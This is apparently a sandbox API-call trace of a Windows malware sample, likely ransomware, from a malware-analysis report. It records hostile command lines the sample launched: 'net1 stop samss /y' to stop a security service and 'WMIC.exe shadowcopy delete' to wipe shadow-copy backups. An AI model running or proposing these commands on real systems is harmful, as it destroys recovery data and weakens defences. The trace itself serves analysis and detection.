	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "45"
	os_parent_pid = "0x1558"
	cmd_line = "C:\\Windows\\system32\\net1 stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1047
	os_tid = 0x1638

	[0189.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1aff10 | out: lpSystemTimeAsFileTime=0x1aff10*(dwLowDateTime=0x41395d70, dwHighDateTime=0x1d5cdef)) 
	[0189.739] GetCurrentProcessId () returned 0x1634
	[0189.739] GetCurrentThreadId () returned 0x1638
	[0189.739] GetTickCount () returned 0x117510d
	[0189.739] QueryPerformanceCounter (in: lpPerformanceCount=0x1aff18 | out: lpPerformanceCount=0x1aff18*=33149184204) returned 1
	[0189.740] GetModuleHandleW (lpModuleName=0x0) returned 0xffbe0000
	[0189.740] __set_app_type (_Type=0x1) 
	[0189.740] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffbf9c9c) returned 0x0
	[0189.740] __getmainargs (in: _Argc=0xffc04780, _Argv=0xffc04790, _Env=0xffc04788, _DoWildCard=0, _StartInfo=0xffc0479c | out: _Argc=0xffc04780, _Argv=0xffc04790, _Env=0xffc04788) returned 0
	[0189.741] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0189.741] GetConsoleOutputCP () returned 0x1b5
	[0189.742] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0xffc0cec0 | out: lpCPInfo=0xffc0cec0) returned 1
	[0189.742] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0189.749] sprintf_s (in: _DstBuf=0x1afeb8, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4
	[0189.749] setlocale (category=0, locale=".437") returned="English_United States.437"
	[0189.754] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7
	[0189.754] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb
	[0189.754] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0189.754] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1afc50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\net1.exe" (normalized: "c:\\windows\\system32\\net1.exe")) returned 0x1c
	[0189.754] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x6e) returned 0x30c060
	[0189.755] _wcsnicmp (_String1="/Y", _String2="/y", _MaxCount=0x2) returned 0
	[0189.755] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1afea8 | out: Buffer=0x1afea8*=0x304d40) returned 0x0
	[0189.755] NetApiBufferAllocate (in: ByteCount=0x18, Buffer=0x1afea8 | out: Buffer=0x1afea8*=0x30c0e0) returned 0x0
	[0189.755] _fileno (_File=0x7fefe122a80) returned 0
	[0189.755] _setmode (_FileHandle=0, _Mode=16384) returned 16384
	[0189.756] _wcsicmp (_String1="accounts", _String2="stop") returned -18
	[0189.756] _wcsicmp (_String1="computer", _String2="stop") returned -16
	[0189.756] _wcsicmp (_String1="config", _String2="stop") returned -16
	[0189.756] _wcsicmp (_String1="continue", _String2="stop") returned -16
	[0189.756] _wcsicmp (_String1="cont", _String2="stop") returned -16
	[0189.756] _wcsicmp (_String1="file", _String2="stop") returned -13
	[0189.756] _wcsicmp (_String1="files", _String2="stop") returned -13
	[0189.756] _wcsicmp (_String1="group", _String2="stop") returned -12
	[0189.756] _wcsicmp (_String1="groups", _String2="stop") returned -12
	[0189.756] _wcsicmp (_String1="help", _String2="stop") returned -11
	[0189.757] _wcsicmp (_String1="helpmsg", _String2="stop") returned -11
	[0189.757] _wcsicmp (_String1="localgroup", _String2="stop") returned -7
	[0189.757] _wcsicmp (_String1="pause", _String2="stop") returned -3
	[0189.757] _wcsicmp (_String1="session", _String2="stop") returned -15
	[0189.757] _wcsicmp (_String1="sessions", _String2="stop") returned -15
	[0189.757] _wcsicmp (_String1="sess", _String2="stop") returned -15
	[0189.757] _wcsicmp (_String1="share", _String2="stop") returned -12
	[0189.757] _wcsicmp (_String1="start", _String2="stop") returned -14
	[0189.757] _wcsicmp (_String1="stats", _String2="stop") returned -14
	[0189.757] _wcsicmp (_String1="statistics", _String2="stop") returned -14
	[0189.757] _wcsicmp (_String1="stop", _String2="stop") returned 0
	[0189.757] _wcsicmp (_String1="accounts", _String2="samss") returned -18
	[0189.758] _wcsicmp (_String1="computer", _String2="samss") returned -16
	[0189.758] _wcsicmp (_String1="config", _String2="samss") returned -16
	[0189.758] _wcsicmp (_String1="continue", _String2="samss") returned -16
	[0189.759] _wcsicmp (_String1="cont", _String2="samss") returned -16
	[0189.759] _wcsicmp (_String1="file", _String2="samss") returned -13
	[0189.759] _wcsicmp (_String1="files", _String2="samss") returned -13
	[0189.759] _wcsicmp (_String1="group", _String2="samss") returned -12
	[0189.759] _wcsicmp (_String1="groups", _String2="samss") returned -12
	[0189.759] _wcsicmp (_String1="help", _String2="samss") returned -11
	[0189.759] _wcsicmp (_String1="helpmsg", _String2="samss") returned -11
	[0189.759] _wcsicmp (_String1="localgroup", _String2="samss") returned -7
	[0189.759] _wcsicmp (_String1="pause", _String2="samss") returned -3
	[0189.759] _wcsicmp (_String1="session", _String2="samss") returned 4
	[0189.759] _wcsicmp (_String1="sessions", _String2="samss") returned 4
	[0189.759] _wcsicmp (_String1="sess", _String2="samss") returned 4
	[0189.759] _wcsicmp (_String1="share", _String2="samss") returned 7
	[0189.760] _wcsicmp (_String1="start", _String2="samss") returned 19
	[0189.760] _wcsicmp (_String1="stats", _String2="samss") returned 19
	[0189.760] _wcsicmp (_String1="statistics", _String2="samss") returned 19
	[0189.760] _wcsicmp (_String1="stop", _String2="samss") returned 19
	[0189.760] _wcsicmp (_String1="time", _String2="samss") returned 1
	[0189.760] _wcsicmp (_String1="user", _String2="samss") returned 2
	[0189.760] _wcsicmp (_String1="users", _String2="samss") returned 2
	[0189.760] _wcsicmp (_String1="msg", _String2="samss") returned -6
	[0189.760] _wcsicmp (_String1="messenger", _String2="samss") returned -6
	[0189.760] _wcsicmp (_String1="receiver", _String2="samss") returned -1
	[0189.760] _wcsicmp (_String1="rcv", _String2="samss") returned -1
	[0189.760] _wcsicmp (_String1="netpopup", _String2="samss") returned -5
	[0189.760] _wcsicmp (_String1="redirector", _String2="samss") returned -1
	[0189.761] _wcsicmp (_String1="redir", _String2="samss") returned -1
	[0189.761] _wcsicmp (_String1="rdr", _String2="samss") returned -1
	[0189.761] _wcsicmp (_String1="workstation", _String2="samss") returned 4
	[0189.761] _wcsicmp (_String1="work", _String2="samss") returned 4
	[0189.761] _wcsicmp (_String1="wksta", _String2="samss") returned 4
	[0189.761] _wcsicmp (_String1="prdr", _String2="samss") returned -3
	[0189.761] _wcsicmp (_String1="devrdr", _String2="samss") returned -15
	[0189.761] _wcsicmp (_String1="lanmanworkstation", _String2="samss") returned -7
	[0189.761] _wcsicmp (_String1="server", _String2="samss") returned 4
	[0189.761] _wcsicmp (_String1="svr", _String2="samss") returned 21
	[0189.761] _wcsicmp (_String1="srv", _String2="samss") returned 17
	[0189.761] _wcsicmp (_String1="lanmanserver", _String2="samss") returned -7
	[0189.761] _wcsicmp (_String1="alerter", _String2="samss") returned -18
	[0189.761] _wcsicmp (_String1="netlogon", _String2="samss") returned -5
	[0189.762] _wcsupr (in: _String="samss" | out: _String="SAMSS") returned="SAMSS"
	[0189.763] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x30cdf0
	[0189.862] GetServiceKeyNameW (in: hSCManager=0x30cdf0, lpDisplayName="SAMSS", lpServiceName=0xffc05750, lpcchBuffer=0x1afdc8 | out: lpServiceName="", lpcchBuffer=0x1afdc8) returned 0
	[0189.865] _wcsicmp (_String1="msg", _String2="SAMSS") returned -6
	[0189.865] _wcsicmp (_String1="messenger", _String2="SAMSS") returned -6
	[0189.866] _wcsicmp (_String1="receiver", _String2="SAMSS") returned -1
	[0189.866] _wcsicmp (_String1="rcv", _String2="SAMSS") returned -1
	[0189.866] _wcsicmp (_String1="redirector", _String2="SAMSS") returned -1
	[0189.866] _wcsicmp (_String1="redir", _String2="SAMSS") returned -1
	[0189.866] _wcsicmp (_String1="rdr", _String2="SAMSS") returned -1
	[0189.866] _wcsicmp (_String1="workstation", _String2="SAMSS") returned 4
	[0189.866] _wcsicmp (_String1="work", _String2="SAMSS") returned 4
	[0189.866] _wcsicmp (_String1="wksta", _String2="SAMSS") returned 4
	[0189.866] _wcsicmp (_String1="prdr", _String2="SAMSS") returned -3
	[0189.866] _wcsicmp (_String1="devrdr", _String2="SAMSS") returned -15
	[0189.866] _wcsicmp (_String1="lanmanworkstation", _String2="SAMSS") returned -7
	[0189.866] _wcsicmp (_String1="server", _String2="SAMSS") returned 4
	[0189.867] _wcsicmp (_String1="svr", _String2="SAMSS") returned 21
	[0189.867] _wcsicmp (_String1="srv", _String2="SAMSS") returned 17
	[0189.867] _wcsicmp (_String1="lanmanserver", _String2="SAMSS") returned -7
	[0189.867] _wcsicmp (_String1="alerter", _String2="SAMSS") returned -18
	[0189.867] _wcsicmp (_String1="netlogon", _String2="SAMSS") returned -5
	[0189.868] NetServiceControl (in: servername=0x0, service="SAMSS", opcode=0x0, arg=0x0, bufptr=0x1afdd0 | out: bufptr=0x1afdd0) returned 0x0
	[0189.873] NetApiBufferAllocate (in: ByteCount=0xfa0, Buffer=0x1afd88 | out: Buffer=0x1afd88*=0x310c70) returned 0x0
	[0189.873] OpenServiceW (hSCManager=0x30cdf0, lpServiceName="SAMSS", dwDesiredAccess=0xc) returned 0x30ce50
	[0189.875] QueryServiceStatus (in: hService=0x30ce50, lpServiceStatus=0x1afd30 | out: lpServiceStatus=0x1afd30*(dwServiceType=0x20, dwCurrentState=0x4, dwControlsAccepted=0x0, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1
	[0189.875] NetApiBufferFree (Buffer=0x310c70) returned 0x0
	[0189.876] CloseServiceHandle (hSCObject=0x30ce50) returned 1
	[0189.876] wcscpy_s (in: _Destination=0xffc080d0, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0
	[0189.877] LoadLibraryW (lpLibFileName="NETMSG") returned 0x74570000
	[0189.878] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x74570000, dwMessageId=0x88f, dwLanguageId=0x0, lpBuffer=0xffc05b50, nSize=0x800, Arguments=0xffc07f90 | out: lpBuffer="The requested pause, continue, or stop is not valid for this service.\r\n") returned 0x47
	[0189.882] GetFileType (hFile=0xb) returned 0x2
	[0189.884] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afc28 | out: lpMode=0x1afc28) returned 1
	[0189.885] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc05b50*, nNumberOfCharsToWrite=0x47, lpNumberOfCharsWritten=0x1afc20, lpReserved=0x0 | out: lpBuffer=0xffc05b50*, lpNumberOfCharsWritten=0x1afc20*=0x47) returned 1
	[0189.886] GetFileType (hFile=0xb) returned 0x2
	[0189.886] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afc28 | out: lpMode=0x1afc28) returned 1
	[0189.887] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbe1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1afc20, lpReserved=0x0 | out: lpBuffer=0xffbe1efc*, lpNumberOfCharsWritten=0x1afc20*=0x2) returned 1
	[0189.888] _ultow (in: _Dest=0x88f, _Radix=1768592 | out: _Dest=0x88f) returned="2191"
	[0189.888] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74570000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0xffc05b50, nSize=0x800, Arguments=0xffc07f90 | out: lpBuffer="More help is available by typing NET HELPMSG 2191.\r\n") returned 0x34
	[0189.889] GetFileType (hFile=0xb) returned 0x2
	[0189.890] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afc28 | out: lpMode=0x1afc28) returned 1
	[0189.890] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffc05b50*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x1afc20, lpReserved=0x0 | out: lpBuffer=0xffc05b50*, lpNumberOfCharsWritten=0x1afc20*=0x34) returned 1
	[0189.891] GetFileType (hFile=0xb) returned 0x2
	[0189.892] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x1afc28 | out: lpMode=0x1afc28) returned 1
	[0189.893] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0xffbe1efc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x1afc20, lpReserved=0x0 | out: lpBuffer=0xffbe1efc*, lpNumberOfCharsWritten=0x1afc20*=0x2) returned 1
	[0189.894] NetApiBufferFree (Buffer=0x304d40) returned 0x0
	[0189.894] NetApiBufferFree (Buffer=0x30c0e0) returned 0x0
	[0189.894] GetCommandLineW () returned="C:\\Windows\\system32\\net1 stop \"samss\" /y"
	[0189.895] exit (_Code=2) 

Process:
	id = "48"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x1c491000"
	os_pid = "0x1674"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "cmd /c \"WMIC.exe shadowcopy delete\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1062
	os_tid = 0x1678

	[0195.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efad0 | out: lpSystemTimeAsFileTime=0x1efad0*(dwLowDateTime=0x449bd1f0, dwHighDateTime=0x1d5cdef)) 
	[0195.416] GetCurrentProcessId () returned 0x1674
	[0195.416] GetCurrentThreadId () returned 0x1678
	[0195.416] GetTickCount () returned 0x117673c
	[0195.416] QueryPerformanceCounter (in: lpPerformanceCount=0x1efad8 | out: lpPerformanceCount=0x1efad8*=33716903520) returned 1
	[0195.419] GetModuleHandleW (lpModuleName=0x0) returned 0x4a010000
	[0195.419] __set_app_type (_Type=0x1) 
	[0195.419] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a037810) returned 0x0
	[0195.419] __getmainargs (in: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610, _DoWildCard=0, _StartInfo=0x4a03e0f4 | out: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610) returned 0
	[0195.420] GetCurrentThreadId () returned 0x1678
	[0195.420] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1678) returned 0x3c
	[0195.421] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0195.983] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0195.984] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0195.985] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0195.985] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1efa68 | out: phkResult=0x1efa68*=0x0) returned 0x2
	[0195.985] VirtualQuery (in: lpAddress=0x1efa50, lpBuffer=0x1ef9d0, dwLength=0x30 | out: lpBuffer=0x1ef9d0*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.985] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1ef9d0, dwLength=0x30 | out: lpBuffer=0x1ef9d0*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.986] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1ef9d0, dwLength=0x30 | out: lpBuffer=0x1ef9d0*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.986] VirtualQuery (in: lpAddress=0xf4000, lpBuffer=0x1ef9d0, dwLength=0x30 | out: lpBuffer=0x1ef9d0*(BaseAddress=0xf4000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.986] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1ef9d0, dwLength=0x30 | out: lpBuffer=0x1ef9d0*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.986] GetConsoleOutputCP () returned 0x1b5
	[0195.987] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0195.988] SetConsoleCtrlHandler (HandlerRoutine=0x4a033184, Add=1) returned 1
	[0195.988] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.989] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0195.990] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.990] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0195.991] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.992] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0195.992] _get_osfhandle (_FileHandle=0) returned 0x3
	[0195.992] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0195.993] _get_osfhandle (_FileHandle=0) returned 0x3
	[0195.993] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0195.994] GetEnvironmentStringsW () returned 0x268a30*
	[0195.994] GetProcessHeap () returned 0x250000
	[0195.994] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa7c) returned 0x2694c0
	[0195.994] FreeEnvironmentStringsW (penv=0x268a30) returned 1
	[0195.995] GetProcessHeap () returned 0x250000
	[0195.995] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x8) returned 0x2688b0
	[0195.995] GetEnvironmentStringsW () returned 0x268a30*
	[0195.995] GetProcessHeap () returned 0x250000
	[0195.995] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa7c) returned 0x269f50
	[0195.995] FreeEnvironmentStringsW (penv=0x268a30) returned 1
	[0195.996] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee928 | out: phkResult=0x1ee928*=0x44) returned 0x0
	[0195.996] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x0, lpData=0x1ee940*=0x18, lpcbData=0x1ee924*=0x1000) returned 0x2
	[0195.996] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x1, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.996] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x0, lpData=0x1ee940*=0x1, lpcbData=0x1ee924*=0x1000) returned 0x2
	[0195.996] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x0, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.996] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x40, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.997] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x40, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.997] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x0, lpData=0x1ee940*=0x40, lpcbData=0x1ee924*=0x1000) returned 0x2
	[0195.997] RegCloseKey (hKey=0x44) returned 0x0
	[0195.997] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee928 | out: phkResult=0x1ee928*=0x44) returned 0x0
	[0195.997] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x0, lpData=0x1ee940*=0x40, lpcbData=0x1ee924*=0x1000) returned 0x2
	[0195.997] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x1, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.998] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x0, lpData=0x1ee940*=0x1, lpcbData=0x1ee924*=0x1000) returned 0x2
	[0195.998] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x0, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.998] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x9, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.998] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x4, lpData=0x1ee940*=0x9, lpcbData=0x1ee924*=0x4) returned 0x0
	[0195.998] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee920, lpData=0x1ee940, lpcbData=0x1ee924*=0x1000 | out: lpType=0x1ee920*=0x0, lpData=0x1ee940*=0x9, lpcbData=0x1ee924*=0x1000) returned 0x2
	[0195.998] RegCloseKey (hKey=0x44) returned 0x0
	[0195.998] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e699
	[0195.998] srand (_Seed=0x5e22e699) 
	[0195.998] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0195.998] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0195.999] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0196.000] GetProcessHeap () returned 0x250000
	[0196.000] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x218) returned 0x26a9e0
	[0196.000] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26a9f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0196.000] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0196.000] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0196.000] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0196.001] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0196.001] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0196.001] GetProcessHeap () returned 0x250000
	[0196.002] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2694c0 | out: hHeap=0x250000) returned 1
	[0196.002] GetEnvironmentStringsW () returned 0x268a30*
	[0196.002] GetProcessHeap () returned 0x250000
	[0196.002] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0xa94) returned 0x26b6a0
	[0196.002] FreeEnvironmentStringsW (penv=0x268a30) returned 1
	[0196.002] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0196.002] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0196.002] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0196.003] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0196.003] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0196.003] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0196.003] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0196.003] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0196.003] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0196.003] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0196.003] GetProcessHeap () returned 0x250000
	[0196.003] RtlAllocateHeap (HeapHandle=0x250000, Flags=0x8, Size=0x5c) returned 0x251320
	[0196.003] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef730 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0196.004] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1ef730, lpFilePart=0x1ef710 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef710*="Desktop") returned 0x25
